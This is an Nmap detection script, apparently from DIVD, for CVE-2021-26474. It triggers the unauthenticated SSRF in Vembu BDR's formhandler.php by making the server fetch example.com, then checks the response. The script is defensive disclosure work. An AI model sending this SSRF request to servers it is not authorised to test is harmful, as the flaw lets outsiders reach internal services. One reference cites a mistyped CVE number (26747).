description = [[
Detects whether the system is vulnerable to CVE-2021-26474, a SSRF Vulnerability.
]]

local http = require "http"
local shortport = require "shortport"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"

---
-- @usage
-- nmap -p <port> --script vembu-vuln-cve2021-26474 <target>
--
-- @output
-- PORT    STATE SERVICE
-- 6060/tcp open  x11     syn-ack
-- | vembu-vuln-cve-2021-26474:
-- |   VULNERABLE:
-- |   CVE-2021-26474 - Vembu SSRF
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2021-26474
-- |       VembuBDR v4.2.0.1 is vulnerable to Unauthenticated Server Site Request Forgery in /api/tutorial/formhandler.php
-- |
-- |     Disclosure date: 2021-05-15
-- |     References:
-- |       https://csirt.divd.nl/DIVD-2020-00011
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26747

author = "Dutch Institute for Vulnerability Disclosure (DIVD) - Frank Breedijk"
license = "Apache 2.0"
categories = { "vuln" }

portrule = shortport.portnumber(6060)

action = function(host, port)
  local vuln = {
    title = "CVE-2021-26474 - Vembu SSRF",
    state = vulns.STATE.NOT_VULN,
    description = [[
VembuBDR v4.2.0.1 is vulnerable to Unauthenticated Server Site Request Forgery in /api/tutorial/formhandler.php
    ]],
    IDS = {
        CVE = "CVE-2021-26474"
    },
    references = {
        'https://csirt.divd.nl/CVE-2021-26474'
    },
    dates = {
        disclosure = { year = '2021', month = '05', day = '15' }
    }
  }

  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

  local method = "GET"
  local path = "/api/tutorial/formhandler.php?ServerName=example.com%2F%3F&PortNo=80&get=parameter"

  local header = {
    ["Cookie"] = ""
  }

  local response = http.get(host, port, path)
  
  if response and response.body and string.match(response.body,'This domain is for use in illustrative examples in documents.') then
    vuln.state = vulns.STATE.VULN
    return vuln_report:make_output(vuln)
  else
    return "Unable to exploit CVE-2021-26474"
  end

end